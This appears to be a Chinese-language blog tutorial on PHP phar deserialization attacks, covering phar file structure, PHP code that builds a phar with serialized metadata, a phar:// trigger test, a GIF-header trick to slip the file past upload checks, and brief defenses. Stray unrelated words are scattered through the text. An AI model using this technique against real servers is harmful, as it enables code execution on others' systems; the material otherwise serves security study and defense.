一般咱們在利用反序列化漏洞的時候,只能將序列化後的字符串傳入unserializ(),
隨着代碼安全性愈來愈高,利用難度也愈來愈大。
利用phar文件會以序列化的形式儲存用戶自定義的meta-data這一特性,擴展了php反序列漏洞的攻擊面。
該方法在文件系統函數(file_exists()、is_dir()等)參數可控的狀況下,配合phar://僞協議,能夠
不依賴unserialize()直接進行反序列化操做。php
0X01安全
phar文件結構
1.a stub
能夠理解爲一個標誌,格式爲xxx<?phpxxx;HALT_COMPILER();?>,前期內容不限,但必須以HALT_COMPILER();?>來結尾,
不然phar擴展沒法識別其爲phar文件。
2.a manifest describing the contents
phar文件本質上是一種壓縮文件,其中每一個被壓縮文件的權限、屬性等信息都存放在這一部分中。
這部分將會以序列化的形式存儲用戶自定義的meta-data。服務器
3.the file contents
被壓縮文件內容。
4.[optional]a signature for verifying Phar integrity(phar file foformat only)
簽名,放在文件末尾,目前支持的兩種簽名格式是MD5和SHA1。函數
漏洞觸發點在使用phar://協議讀取文件的時候,文件內容會被解析成phar對象,
而後phar對象內的meta-data會被反序列化。
meta-data是用serialize()生成並保存在phar文件中,當內核調用phar_parse_metadata()解析meta-data數據時,
會調用php_var_unserialize()對其進行反序列化操做,所以會形成反序列化漏洞。spa
0X02
前提:code
phar_gen.php文件 <?php class TestObject { } @unlink("phar.phar"); $phar = new Phar("phar.phar"); //後綴名必須爲phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //設置stub $o = new TestObject(); $phar->setMetadata($o); //將自定義的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要壓縮的文件 //簽名自動計算 $phar->stopBuffering(); ?>
執行生成phar.phar文件orm
phar_test1.php文件 <?php class TestObject { public function __destruct() { echo 'Destruct called'; #@eval('phpinfo();'); } } $filename = 'phar://phar.phar/test.txt'; file_get_contents($filename); //file_get_contents — 將整個文件讀入一個字符串 ?> 和phar.phar在同一文件夾下運行
0X03
將phar文件僞形成其餘格式的文件
經過僞造文件能夠繞過一些文件上傳限制。對象
<?php class TestObject { } @unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //設置stub,增長gif文件頭 $o = new TestObject(); $phar->setMetadata($o); //將自定義meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要壓縮的文件 //簽名自動計算 $phar->stopBuffering(); ?>
0X04
實際利用
phar文件要可以上傳到服務器端。
要有可用的魔術方法做爲「跳板」。
文件操做函數的參數可控,且:、/、phar等特殊字符沒有被過濾。
0X05
防護
在文件系統函數的參數可控時,對參數進行嚴格的過濾。
嚴格檢查上傳文件的內容,而不是隻檢查文件頭。
在條件容許的狀況下禁用可執行系統命令、代碼的危險函數。blog